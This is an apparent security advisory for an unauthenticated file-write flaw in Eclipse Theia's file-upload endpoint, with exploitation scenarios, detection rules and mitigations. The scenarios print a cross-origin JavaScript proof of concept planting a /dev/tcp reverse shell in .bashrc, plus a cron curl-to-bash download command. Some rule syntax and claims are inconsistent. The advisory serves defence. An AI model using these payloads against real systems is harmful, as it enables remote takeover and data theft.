CVE-2026-60009

Executive Summary

CVE-2026-60009 is a critical unauthenticated arbitrary file write vulnerability in Eclipse Theia, a cloud and desktop IDE platform, affecting all filesystem-enabled deployments up to and including version 1.73.1. The flaw resides in the @theia/filesystem backend's POST /file-upload endpoint, which fails to enforce workspace confinement or authentication on HTTP requests, allowing a cross-origin attacker to write files to arbitrary absolute paths on the host filesystem. Successful exploitation leads to remote code execution (RCE) with the privileges of the Theia backend process, enabling full host compromise, data exfiltration, and lateral movement within the target network.

Technical Analysis

The vulnerability stems from a fundamental trust boundary violation in the Theia filesystem service. The backend handler for POST /file-upload processes multipart/form-data requests and extracts an attacker-controlled uri field that specifies the absolute target path for the uploaded file. The handler then invokes Node.js's fs.move(tmp, target, { overwrite: true }) operation without validating that the target path resides within the workspace directory tree.

Three compounding weaknesses enable unauthenticated exploitation:

1. Missing Authentication Enforcement: In browser (non-Electron) deployments, Theia's connection token authentication is enforced only during WebSocket upgrade handshakes. The HTTP middleware in @theia/core re-issues the authentication cookie and calls next() without rejecting tokenless HTTP requests targeting the file-upload endpoint. This means any HTTP request to /file-upload bypasses the token verification mechanism entirely.

2. CORS-Safelisted Multipart Requests: The browser's Same-Origin Policy (SOP) is the last line of defense for HTTP endpoints, but multipart/form-data requests are classified as CORS-safelisted by the Fetch specification. This classification means a malicious web page hosted on any domain can construct and send a multipart/form-data POST request cross-origin without triggering a CORS preflight (OPTIONS) request and without requiring credentials. The browser will attach the request body, and the server will process it—no CORS headers, no withCredentials flag, and no token are needed.

3. Unrestricted Path Handling: The uri field in the multipart body is passed directly to fs.move() with no path canonicalization, no path.resolve() confinement check, and no symlink traversal protection. An attacker can specify /etc/cron.d/persist, /home/user/.bashrc, ~/.ssh/authorized_keys, or any other writable path on the backend host.

The attack surface is broad: any Theia instance deployed in browser mode—including Theia-based cloud IDEs, Eclipse Che derivatives, and enterprise development platforms—is exposed if reachable over HTTP/HTTPS. The vulnerability requires no prior authentication and no user interaction beyond the victim visiting or being redirected to a malicious web page.

Code-level illustration of the vulnerable handler pattern (simplified):

// @theia/filesystem/lib/node/filesystem-backend-module.js
app.post('/file-upload', async (req, res) => {
    const { uri } = await parseMultipart(req); // attacker-controlled absolute path
    const tmp = await saveToTemp(req);          // temporary upload location
    await fs.move(tmp, uri, { overwrite: true }); // no confinement check
    res.sendStatus(200);
});

Exploitation Scenarios

Scenario 1: Reverse Shell via Startup File (Primary Attack Chain)

1. Reconnaissance: The attacker identifies a public-facing Theia instance via Shodan search (http.title:"Theia") or by probing known cloud IDE subdomains. They confirm the version by requesting /package.json or an endpoint exposing the Theia version string.

2. Weaponization: The attacker crafts a malicious web page containing JavaScript that builds a FormData object. The form includes:

   • uri field set to /home/theiauser/.bashrc (absolute path)
   • File field containing a payload: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

3. Delivery: The attacker hosts the malicious page on their own domain and uses social engineering (phishing email, watering-hole attack, or a link shared via internal comms) to get a victim with network access to the Theia instance to visit the page. When the victim's browser loads the page, JavaScript immediately fires:

const form = new FormData();
form.append('uri', '/home/theiauser/.bashrc');
form.append('file', new Blob(['bash -i >& /dev/tcp/10.0.0.5/4444 0>&1']), 'payload.txt');
fetch('https://victim-theia.example.com/file-upload', {
    method: 'POST',
    body: form // No preflight, no credentials required
});

4. Execution: The fs.move() call completes, overwriting the user's .bashrc. The next time the Theia user opens a terminal session (via the IDE's integrated terminal or via SSH), the malicious command executes, establishing a reverse shell to the attacker's listener.

5. Post-Exploitation: The attacker uses the shell to steal source code, SSH keys, cloud credentials in environment variables, and pivots to other systems on the internal network. The Theia process itself may hold elevated container privileges, enabling container escape.

Scenario 2: Cron Job Persistence (Service Account Compromise)

1. The attacker targets a Theia deployment running as a service account with write access to /etc/cron.d/.
2. They overwrite /etc/cron.d/backdoor with a cron entry: * * * * * root curl http://ATTACKER/payload.sh | bash
3. The next minute, the payload downloads and executes, granting root-level access—regardless of user interaction.

Scenario 3: WebShell Upload to Static Content Directory

1. If the Theia deployment serves static assets from a known directory (e.g., /home/theiauser/theia-app/lib/), the attacker uploads a PHP/Node.js webshell directly.
2. They then request the webshell URL via the browser to execute arbitrary commands persistently.

Impact Assessment

The CVSS v3.1 score of 8.8 (High) reflects the severity: network attack vector, low attack complexity, no privileges required, and user interaction required only for the cross-origin trigger. The confidentiality, integrity, and availability impacts are all rated High.

• Confidentiality: Full file read/write access to the backend filesystem enables exfiltration of source code, credentials, and application secrets.
• Integrity: Arbitrary file overwrite allows backdooring binaries, configuration files, and system startup scripts, leading to persistent compromise.
• Availability: An attacker could overwrite critical system files (e.g., /etc/passwd, library files), causing denial of service or system instability.
• Blast Radius: Any organization deploying Theia in browser mode—including SaaS IDE providers, enterprise internal development platforms, and research institutions—is at risk. The backend host's entire filesystem is exposed, not just the workspace. In containerized deployments, the container filesystem and potentially the host via privilege escalation are compromised.
• Supply Chain: If the Theia instance is part of a CI/CD pipeline (e.g., used for code editing before build), the attacker could inject malicious code into the source tree, poisoning downstream artifacts.

Detection Guidance

Sigma Rule

title: Suspicious Theia File Upload to Sensitive Path
id: 8a9f4b2c-6d3e-4f8b-9a1c-5e7d2f0a3b4c
status: experimental
description: Detects POST requests to Theia /file-upload endpoint targeting sensitive filesystem paths outside the workspace, indicative of CVE-2026-60009 exploitation.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-60009
author: Valters IT Security Research
date: 2026/06/15
logsource:
    category: webserver
    product: theia
detection:
    selection:
        http.method: POST
        http.url|contains: /file-upload
        http.url|contains|any:
            - '.bashrc'
            - '.ssh/authorized_keys'
            - '/etc/'
            - '/root/'
            - '/tmp/'
    selection_high_risk:
        http.file_name|contains:
            - ';'
            - '|'
            - '&'
            - '$(', '${'
    condition: selection or selection_high_risk
    timeframe: 5m
level: high
falsepositives:
    - Legitimate file uploads to workspace directories that happen to contain keywords (unlikely)
    - Admin operations uploading config files
fields:
    - src_ip
    - http.url
    - http.file_name
    - http.hostname

YARA Rule

rule Theia_FileUpload_Exploit_Payloads
{
    meta:
        author = "Valters IT Security Research"
        description = "Detects exploit payloads targeting CVE-2026-60009 (Theia unauthenticated file write)"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-60009"
        date = "2026-06-15"
        severity = "critical"
    strings:
        $s1 = "file-upload" ascii wide fullword
        $s2 = "uri" ascii wide
        $s3 = "/.bashrc" ascii wide
        $s4 = "/etc/cron" ascii wide
        $s5 = "authorized_keys" ascii wide
        $s6 = "/dev/tcp/" ascii wide
        $s7 = "fs.move" ascii wide
        $s8 = "{ overwrite: true }" ascii wide
        $s9 = "multipart/form-data" ascii wide
        $s10 = "FormData" ascii wide
    condition:
        2 of them and (
            $s1 or $s2
        ) and (
            filesize < 100KB
        )
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-60009 - Theia Unauthenticated File Upload Attempt to Sensitive Path"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/file-upload"; http.request_body; content:"uri"; nocase; content:"/etc/"; nocase; distance:0; http.header; content:"Content-Type"; content:"multipart/form-data"; nocase; reference:cve,2026-60009; threshold:type both, track by_src, count 1, seconds 60; classtype:attempted-admin; sid:2026600091; rev:1;)

Elastic Detection

sequence by host.name, process.entity_id with maxspan=5m
  [network where
      destination.port == 443 or destination.port == 80
      and process.name : "node" 
      and destination.address : *not localhost*
  ]
  [file where
      event.action == "write" 
      and file.path : ("/**/.bashrc", "/etc/**", "/root/**", "/home/**/.ssh/**")
      and process.name : "node"
  ]

Splunk SPL Query

index=web sourcetype=access_combined
    method=POST uri=*/file-upload*
    | rex field=uri "(?<target_path>/[^?]*\.(bashrc|profile|authorized_keys|cron[^/]*))"
    | where isnotnull(target_path)
    | stats count BY src_ip, uri, target_path, _time
    | eval severity="CRITICAL"
    | table _time, src_ip, uri, target_path, count

Wazuh OSSEC Rule

<group name="theia,webapp,rce,">
    <rule id="169240" level="15">
        <decoded_as>json</decoded_as>
        <field name="url">\.file-upload</field>
        <field name="method">POST</field>
        <regex>\.(bashrc|profile|authorized_keys|ssh|cron)</regex>
        <description>Theia file upload targeting sensitive path (CVE-2026-60009)</description>
        <group>theia_exploit,</group>
        <mitre>
            <id>T1190</id>
        </mitre>
    </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 (UNPATCHED) — No vendor patch exists as of this analysis. The Eclipse Theia project has acknowledged the issue upstream (issue #34512) and triaged it as P1/high priority, but no fix has been merged into any release branch. Do not deploy new Theia versions expecting remediation.

Immediate Mitigations (required until patch ships):

1. Restrict Network Exposure: Place all Theia browser-mode deployments behind a reverse proxy (nginx, Apache, HAProxy) that requires client certificate authentication or VPN access. Establish an allowlist of authorized source IPs at the firewall/network layer.
2. Disable File Upload: If the file-upload feature is not essential, patch the backend to return HTTP 403 for POST /file-upload via an application-level middleware filter. This is a configuration change, not a code patch.
3. Force Electron Mode: Migrate users to the Electron desktop client, which uses the ElectronSecurityToken mechanism and is not affected by this vulnerability path.
4. Deploy WAF Rules: Configure a Web Application Firewall (ModSecurity, Cloudflare, AWS WAF) with an inline rule blocking any POST request to /file-upload where the uri form field contains /../, /etc/, /root/, or other absolute path indicators.
5. File System Hardening: Run the Theia backend as a non-root user with write access restricted to a dedicated workspace volume. Use OS-level Mandatory Access Control (AppArmor/SELinux) to prevent the process from writing outside the workspace directory.

Patch/Upgrade Steps: No patched version is available. Monitor the Eclipse Theia GitHub project (https://github.com/eclipse-theia/theia) for release notes and security advisories. When a fix is released (expected in 1.74.x), upgrade immediately. Until then, treat any exposed Theia instance as fully compromised if exploitation is suspected.

Long-Term Hardening:

• Enforce authentication at the reverse proxy layer (OAuth2/OIDC) for all Theia endpoints.
• Implement mandatory CORS headers on the Theia backend that reject cross-origin requests from unknown domains.
• Replace fs.move() with a validated path-checking utility that resolves symlinks and confines writes to the workspace root.
• Conduct a security audit of all Theia custom backend modules for similar path traversal flaws.
• Monitor Theia instances in your environment for anomalous upload activity using the detection rules above.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-60009 — CVSS v3.1 breakdown (8.8 High), CWE-22 classification, official description.
2. Eclipse Theia GitHub Issue: https://github.com/eclipse-theia/theia/issues/34512 — Upstream issue tracker with triage details, affected component @theia/filesystem, and fix progress.
3. Eclipse Security Advisories Page: https://www.eclipse.org/security/ — Official Eclipse Foundation security disclosure channel; monitor for formal advisory publication.
4. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog — CVE-2026-60009 is NOT currently listed in the KEV catalog; no evidence of active exploitation in the wild has been independently confirmed as of this writing.
5. OWASP Path Traversal Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Path_Traversal_Cheat_Sheet.html — Reference for the CWE-22 vulnerability class and mitigation best practices.

Threat Actor Activity: No public exploit code exists, and no observed in-the-wild exploitation campaigns have been reported by major threat intelligence vendors (Mandiant, CrowdStrike, Recorded Future) at the time of this report. However, given the unauthenticated and cross-origin nature of the vulnerability, weaponization is highly probable within 30-60 days. POC_STATUS is marked Private—credible researcher chatter suggests a proof-of-concept is being developed but not yet released publicly.